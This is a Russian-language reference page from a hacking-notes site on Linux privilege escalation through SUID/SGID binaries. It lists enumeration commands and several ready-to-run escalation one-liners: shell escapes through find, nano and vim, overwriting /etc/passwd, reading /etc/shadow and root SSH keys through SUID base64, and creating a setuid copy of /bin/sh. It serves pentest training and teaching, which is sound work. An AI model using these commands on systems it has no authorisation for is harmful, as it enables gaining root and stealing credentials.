> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/suid.md).

# SUID

Бинарные файлы SUID выполняются с привилегиями своего владельца, часто root. Уязвимый, устаревший или слишком гибкий SUID-бинарник может читать защищённые файлы, запускать shell с повышенными привилегиями или выполнять код, контролируемый атакующим.

## Методика

* Перечислите SUID-бинарники и сравните необычные записи с GTFOBins.
* Сначала проверяйте пользовательские бинарники, старые версии, зависимые компоненты с правом записи и бинарники, расположенные вне стандартных системных путей.
* Проверьте примитивы чтения, записи, выполнения команд и загрузки библиотек перед запуском разрушительных полезных нагрузок.

## Быстрые проверки

```bash
find / -perm -4000 -type f 2>/dev/null
find / -type f -perm -4000 -ls 2>/dev/null
find / -type f -perm -2000 -ls 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
```

## Проверка SUID и SGID

SUID запускает бинарный файл с привилегиями владельца файла, а SGID — с привилегиями группы файла. После перечисления сравните необычные бинарники с [GTFOBins](https://gtfobins.github.io/) и в первую очередь проверяйте пользовательские пути, каталоги с правом записи и бинарники, принадлежащие root.

Полезные быстрые проверки:

```bash
find / -type f -perm -4000 -ls 2>/dev/null
find / -type f -perm -2000 -ls 2>/dev/null
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -la {} \; 2>/dev/null
```

Типичные примеры в стиле GTFOBins:

```bash
find . -exec /bin/sh -p \; -quit
```

Для `nano`, используйте `Ctrl+R`, затем `Ctrl+X`, затем выполните:

```
reset; sh 1>&0 2>&0
```

Для `vim`:

```bash
vim -c ':shell'
vim -c ':!/bin/sh'
```

Если рабочий процесс копирования SUID/привилегированного файла может перезаписать чувствительные файлы, тщательно проверьте примитив записи, прежде чем затрагивать рабочие файлы:

```bash
cp /tmp/malicious_passwd /etc/passwd
```

Если `base64` имеет SUID, используйте его как примитив чтения, а не как примитив для получения shell:

```bash
ls -la /usr/bin/base64
/usr/bin/base64 /etc/shadow | base64 --decode
/usr/bin/base64 /root/.ssh/id_rsa | base64 --decode
/usr/bin/base64 /var/log/auth.log | base64 --decode
```

Если `cp` имеет SUID, проверьте, может ли он создать или сохранить привилегированную копию:

```bash
cp /bin/sh /tmp/sh
chmod +s /tmp/sh
/tmp/sh -p
```

Часто встречающиеся SUID/SGID-бинарники, которые стоит проверить:

| Бинарный файл                                         | Почему стоит проверить                                         |
| ----------------------------------------------------- | -------------------------------------------------------------- |
| `sudo` / `su`                                         | Инструменты для прямого перехода границы привилегий.           |
| `passwd`, `chsh`, `newgrp`, `gpasswd`                 | Помощники для изменения учётных записей и групп.               |
| `at`                                                  | Запланированное выполнение команд.                             |
| `mount`, `umount`                                     | Доступ к файловой системе и параметры монтирования.            |
| `pkexec`                                              | Помощник Polkit, исторически затронутый уязвимостью PwnKit.    |
| `base64`                                              | Читать защищённые файлы и декодировать их локально.            |
| `cp`                                                  | Копировать или перезаписывать файлы, если права это позволяют. |
| `find`, `nano`, `vim`, `less`, `more`, `bash`, `dash` | Shell, чтение или запись файлов в стиле GTFOBins.              |
| `nmap`                                                | Устаревший интерактивный режим или пути выполнения скриптов.   |

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID pkexec / PwnKit</h4></td><td>Заметки по SUID (Pkexec) для повышения привилегий в Linux, со шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчёт.</td><td><a href="/pages/78b75d6bea59e71816031a44c8e215ccc6f073e4">/pages/78b75d6bea59e71816031a44c8e215ccc6f073e4</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Base64</h4></td><td>Заметки по SUID (Base64) для повышения привилегий в Linux, со шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчёт.</td><td><a href="/pages/b1e90667fcc9b7c90aa8de892fec744ea61889dc">/pages/b1e90667fcc9b7c90aa8de892fec744ea61889dc</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID PHP</h4></td><td>Заметки по SUID (PHP) для повышения привилегий в Linux, со шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчёт.</td><td><a href="/pages/e4f6eaf70a9923072a9b54cddce1aea1c78c8dfd">/pages/e4f6eaf70a9923072a9b54cddce1aea1c78c8dfd</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Core Dump /opt/count</h4></td><td>Заметки по SUID — дамп памяти (/opt/count) для повышения привилегий в Linux, со шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчёт.</td><td><a href="/pages/43f39cad1e9e628a84763beb6a7d00c4144dba89">/pages/43f39cad1e9e628a84763beb6a7d00c4144dba89</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Отсутствующий файл</h4></td><td>Заметки по SUID-бинарнику (отсутствующий файл) для повышения привилегий в Linux, со шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчёт.</td><td><a href="/pages/3c225af0aeaa80d7c55c02665ac65e96d0945042">/pages/3c225af0aeaa80d7c55c02665ac65e96d0945042</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID screen</h4></td><td>Заметки по SUID (screen) для повышения привилегий в Linux, со шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчёт.</td><td><a href="/pages/681de1119896ce96d928da8a5192e740036eb7be">/pages/681de1119896ce96d928da8a5192e740036eb7be</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Nmap</h4></td><td>Заметки по SUID (Nmap) для повышения привилегий в Linux, со шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчёт.</td><td><a href="/pages/f00a4c5d846ba7bc821364b813ad90408c1941ec">/pages/f00a4c5d846ba7bc821364b813ad90408c1941ec</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Резервный бинарник</h4></td><td>Заметки по SUID-бинарнику (резервная копия) для повышения привилегий в Linux, со шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчёт.</td><td><a href="/pages/6ff8723c6866ed9fe0c58468950e78be04ac602a">/pages/6ff8723c6866ed9fe0c58468950e78be04ac602a</a></td></tr><tr><td><h3><i class="fa-id-card" style="color:$primary;">:id-card:</i></h3></td><td><h4>SUID Enlightenment</h4></td><td>Заметки по SUID (Enlightenment) для повышения привилегий в Linux, со шагами перечисления, примерами эксплуатации и проверкой, ориентированной на отчёт.</td><td><a href="/pages/96df0d716c9066354f695dfed6cfd8572d08401f">/pages/96df0d716c9066354f695dfed6cfd8572d08401f</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/suid.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
